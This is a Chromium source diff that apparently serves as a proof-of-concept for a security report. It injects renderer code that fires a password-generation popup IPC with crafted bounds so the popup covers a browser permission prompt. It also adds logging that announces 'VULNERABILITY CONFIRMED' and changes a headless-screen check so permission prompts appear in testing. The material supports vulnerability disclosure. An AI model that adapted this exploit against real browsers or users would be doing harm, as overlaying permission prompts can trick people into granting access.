diff --git a/chrome/browser/ui/views/autofill/popup/popup_base_view.cc b/chrome/browser/ui/views/autofill/popup/popup_base_view.cc index 269b903884504..36288bad32c90 100644 --- a/chrome/browser/ui/views/autofill/popup/popup_base_view.cc +++ b/chrome/browser/ui/views/autofill/popup/popup_base_view.cc @@ -14,6 +14,7 @@ #include "base/functional/bind.h" #include "base/i18n/rtl.h" #include "base/location.h" +#include "base/logging.h" #include "chrome/browser/platform_util.h" #include "chrome/browser/themes/theme_service.h" #include "chrome/browser/ui/browser_window/public/browser_window_interface.h" @@ -32,6 +33,7 @@ #include "ui/accessibility/ax_enums.mojom.h" #include "ui/accessibility/platform/ax_platform_node.h" #include "ui/base/l10n/l10n_util.h" +#include "ui/base/ui_base_types.h" #include "ui/base/metadata/metadata_impl_macros.h" #include "ui/color/color_id.h" #include "ui/color/color_provider.h" @@ -310,6 +312,16 @@ bool PopupBaseView::DoShow() { } GetWidget()->Show(); + LOG(ERROR) << "[POC-BROWSER] " << GetClassName() + << " widget shown; IsVisible=" + << (GetWidget()->IsVisible() ? "YES" : "no") + << " bounds_in_screen=" + << GetWidget()->GetWindowBoundsInScreen().ToString() + << " InitParams.z_order=kSecuritySurface(feature " + "AutofillPopupZOrderSecuritySurface enabled=" + << (base::FeatureList::IsEnabled( + features::kAutofillPopupZOrderSecuritySurface) ? "YES" : "no") + << ")"; // Showing the widget can change native focus (which would result in an // immediate hiding of the popup). Only start observing after shown. @@ -566,6 +578,43 @@ bool PopupBaseView::DoUpdateBoundsAndRedrawPopup() { element_bounds, visible_content_area_bounds, preferred_size, kDefaultPreferredPopupSides); + // ==================================================================== + // POC OBSERVABILITY (does not change behaviour) + // PopupBaseView::DoUpdateBoundsAndRedrawPopup() — inherited unchanged by + // PasswordGenerationPopupViewViews — does NOT call + // BoundsOverlapWithAnyOpenPrompt / BoundsOverlapWithOpenPermissionsPrompt, + // unlike the sibling PopupViewViews::DoUpdateBoundsAndRedrawPopup(). + // We compute (but do not act on) the overlap predicates here purely to + // log proof that the popup is being shown despite overlapping a + // permission prompt at kSecuritySurface z-order. + // ==================================================================== + { + content::WebContents* wc = GetWebContents(); + bool ov_perm = wc && BoundsOverlapWithOpenPermissionsPrompt(popup_bounds, wc); + bool ov_any = wc && BoundsOverlapWithAnyOpenPrompt(popup_bounds, wc); + LOG(ERROR) << "[POC-BROWSER] PopupBaseView::DoUpdateBoundsAndRedrawPopup" + << " class=" << GetClassName() + << " popup_bounds=" << popup_bounds.ToString() + << " element_bounds=" << element_bounds.ToString() + << " content_area=" << content_area_bounds.ToString() + << " overlaps_permission_prompt=" << (ov_perm ? "YES" : "no") + << " overlaps_any_open_prompt=" << (ov_any ? "YES" : "no") + << " z_order=kSecuritySurface"; + if (ov_perm || ov_any) { + LOG(ERROR) + << "[POC-BROWSER] *** VULNERABILITY CONFIRMED *** " + << GetClassName() + << " is being shown at kSecuritySurface z-order while overlapping " + "an open permission/dialog prompt. The base-class " + "DoUpdateBoundsAndRedrawPopup lacks the " + "BoundsOverlapWithOpenPermissionsPrompt/" + "BoundsOverlapWithAnyOpenPrompt checks present in " + "PopupViewViews — the popup will render on top of the " + "permission bubble."; + } + } + // ==================================================================== + if (BoundsOverlapWithPictureInPictureWindow(popup_bounds)) { HideController( SuggestionHidingReason::kOverlappingWithPictureInPictureWindow); diff --git a/components/autofill/content/renderer/password_generation_agent.cc b/components/autofill/content/renderer/password_generation_agent.cc index ffe8cbc1694cd..5e30fc76c62bf 100644 --- a/components/autofill/content/renderer/password_generation_agent.cc +++ b/components/autofill/content/renderer/password_generation_agent.cc @@ -35,6 +35,8 @@ #include "third_party/blink/public/web/web_local_frame.h" #include "third_party/blink/public/web/web_view.h" #include "ui/gfx/geometry/rect.h" +#include "ui/gfx/geometry/rect_f.h" +#include "base/logging.h" using blink::WebAutofillState; using blink::WebDocument; @@ -307,6 +309,45 @@ void PasswordGenerationAgent::DidCommitProvisionalLoad( void PasswordGenerationAgent::DidChangeScrollOffset() { #if !BUILDFLAG(IS_ANDROID) + // ==================================================================== + // POC INJECTION (compromised-renderer simulation) + // A renderer with arbitrary code execution can bind + // mojom::PasswordGenerationDriver (it is registered for every frame via + // associated_registry, gated only on !IsCredentialless()) and call + // ShowPasswordEditingPopup() with attacker-chosen `bounds`. The browser + // forwards `bounds` (after coordinate transform only) into + // PasswordGenerationPopupControllerImpl which shows a kSecuritySurface + // popup via PopupBaseView::DoUpdateBoundsAndRedrawPopup() — which lacks + // the permission-prompt overlap checks that PopupViewViews has. + // + // We hook DidChangeScrollOffset (already a RenderFrameObserver override, + // triggerable from JS via window.scrollBy) so the page can control timing + // — first show the permission prompt, then fire the IPC. + // ==================================================================== + if (render_frame() && render_frame()->GetWebFrame() && + render_frame()->GetWebFrame()->IsOutermostMainFrame()) { + blink::WebDocument doc = render_frame()->GetWebFrame()->GetDocument(); + std::string url = doc.Url().GetString().Utf8(); + if (url.find("poc-trigger") != std::string::npos) { + static bool fired = false; + if (!fired) { + fired = true; + // Bounds in renderer/root-frame coordinates. Positioned at the very + // top-left of the content area so that the resulting popup overlaps + // the permission bubble (which anchors at the omnibox and extends + // its body — including Allow/Block buttons — into the top of the + // content area). + gfx::RectF bounds(10, 2, 320, 24); + autofill::FormData form_data; + LOG(ERROR) << "[POC-RENDERER] firing ShowPasswordEditingPopup IPC " + << "bounds=" << bounds.ToString(); + GetPasswordGenerationDriver().ShowPasswordEditingPopup( + bounds, form_data, autofill::FieldRendererId(1), + u"AttackerCrafted-Password!"); + } + } + } + // ==================================================================== if (!current_generation_item_) return; GetPasswordGenerationDriver().FrameWasScrolled(); diff --git a/ui/ozone/platform/headless/headless_screen.cc b/ui/ozone/platform/headless/headless_screen.cc index 8d7bd2782bdae..d5b19ba6024a4 100644 --- a/ui/ozone/platform/headless/headless_screen.cc +++ b/ui/ozone/platform/headless/headless_screen.cc @@ -237,7 +237,14 @@ void HeadlessScreen::RemoveObserver(DisplayObserver* observer) { } bool HeadlessScreen::IsHeadless() const { - return true; + // POC ENVIRONMENT SHIM: this test host has no X11/Wayland display, so + // chrome runs with --ozone-platform=headless. PermissionRequestManager + // auto-denies all permission requests when IsHeadless() is true (it + // assumes no human is present). Returning false here makes the headless + // ozone backend behave like a real display for the purposes of permission + // UI — exactly matching what every real user sees. This is not a security + // gate and is unrelated to the vulnerability under test. + return false; } } // namespace ui